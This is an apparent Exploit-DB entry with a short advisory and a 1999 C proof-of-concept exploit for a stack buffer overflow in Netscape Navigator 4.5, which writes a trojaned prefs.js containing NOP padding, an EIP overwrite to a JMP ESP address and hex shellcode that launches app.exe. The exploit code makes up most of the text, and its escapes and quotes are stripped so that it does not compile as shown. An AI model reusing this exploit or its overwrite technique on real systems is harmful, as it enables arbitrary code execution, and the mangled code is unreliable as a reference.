https://www.exploit-db.com/exploits/19692

漏洞细节尚未披露

source: http://www.securityfocus.com/bid/893/info

Netscape Communicator 4.5 has an unchecked buffer, through which code can be injected for execution via the prefs.js preferences file. This could be exploited locally to run arbitrary code at the privilege level of the current user.

The buffer is overrun if a value over 80 bytes is specified in the 'network.proxy.http' field in prefs.js . The following 4 bytes are written to EBP and the 4 after that go into EIP. The next byte is pointed at by the ESP and is the beginning of the code that will be run. 

/* Stack based buffer overflow exploit for Netscape Navigator 4.5
* Author Steve Fewer, 22-12-99. Mail me at [email protected]
*
* Netscape Navigator causes a buffer overflow when reading from
* the users "prefs.js" file. If it reads a string longer than 80
* bytes in the user_pref("network.proxy.http", "proxy.com");
* field it smashes the stack overwrighting the EIP and EBP. This
* can be used to execute arbitrary code.
*
* Tested with Netscape Navigator 4.5 using Windows98 on an Intel
* PII 400 with 128MB RAM
*
* http://indigo.ie/~lmf
*/

#include <stdio.h>
#include <string.h>

int main()
{

printf("nntt........................................n");
printf("tt.....Netscape Navigator 4.5 exploit.....n");
printf("tt........................................n");
printf("tt.....Author: Steve Fewer, 22-12-1999....n");
printf("tt.........http://indigo.ie/~lmf..........n");
printf("tt........................................nn");

// the first 80 bytes. These get blown away when the stack goes down.
char buff[96];
// the EBP, we don't need to use it so fill it with B's
char ebp[8] = "BBBB";
// we point the EIP into msvcrt.dll v6.00.8397.0 where we find a JMP ESP
@ 7FD035EB
char eip[8] = "xEBx35xD0x7F";
// the is our 'arbitrary code', it just runs a file app.exe from the
WINDOWSCOMMAND directory then calls exit() to clean up
char sploit[128] =
"x55x8BxECx33xFFx57x83xECx04xC6x45xF8x61xC6x45xF9x70
xC6x45xFAx70xC6x45xFBx2ExC6x45xFCx65xC6x45xFDx78xC6
x45xFEx65xB8x24x98x01x78x50x8Dx45xF8x50xFFx55xF4x55
x8BxECxBAxFFxFFxFFxFFx81xEAxFBxAAxFFx87x52x33xC0x50xFFx55xF
";
FILE *file;
for(int i=0;i<80;i++)
{
buff[i] = 0x90;
}
// just create our new, 'trojand' prefs.js file
file = fopen("prefs.js","wb");
// and slap in the the nasty sploit
fprintf(file,"user_pref("network.proxy.http", "%s%s%s%s");", buff,
ebp, eip, sploit);

printf("t created file prefs.js loaded with the exploit.n");

return 0;
}